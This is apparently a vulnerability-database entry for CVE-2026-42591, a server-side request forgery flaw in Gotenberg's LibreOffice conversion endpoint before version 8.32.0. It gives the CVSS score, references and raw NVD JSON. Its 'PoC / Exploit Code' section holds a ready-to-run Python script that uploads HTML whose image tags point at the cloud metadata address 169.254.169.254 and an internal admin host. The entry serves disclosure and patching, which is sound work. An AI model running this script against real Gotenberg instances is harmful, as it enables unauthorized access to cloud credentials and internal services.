CVE-2026-42591

Description

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters. This vulnerability is fixed in 8.32.0.

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Gotenberg < 8.32.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit for CVE-2026-42591 Gotenberg SSRF
# The target URL of the vulnerable Gotenberg instance
target_url = "http://vulnerable-host:3000/forms/libreoffice/convert"

# Malicious HTML content containing an internal URL
# LibreOffice will fetch this URL during conversion
malicious_html = """
<html>
<body>
    <h1>SSRF Test</h1>
    <img src="http://169.254.169.254/latest/meta-data/ami-id" />
    <img src="http://internal-server.local/admin" />
</body>
</html>
"""

# Prepare the multipart form data
files = {
    'files': ('exploit.html', malicious_html, 'text/html')
}

# Data options for LibreOffice conversion
data = {
    'waitTimeout': '10s'
}

try:
    # Send the request to trigger the vulnerability
    response = requests.post(target_url, files=files, data=data)
    
    if response.status_code == 200:
        print("Request sent successfully.")
        print("Check the internal server logs or DNS tunnel to confirm exploitation.")
    else:
        print(f"Failed to send request. Status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42591
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42591
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42591/
[4] VulDB https://vuldb.com/cve/CVE-2026-42591
[5] https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rm4c-xj6x-49mw
[6] https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rm4c-xj6x-49mw

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42591", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:22.163", "lastModified": "2026-05-14T18:16:48.083", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters. This vulnerability is fixed in 8.32.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rm4c-xj6x-49mw", "source": "[email protected]"}, {"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rm4c-xj6x-49mw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}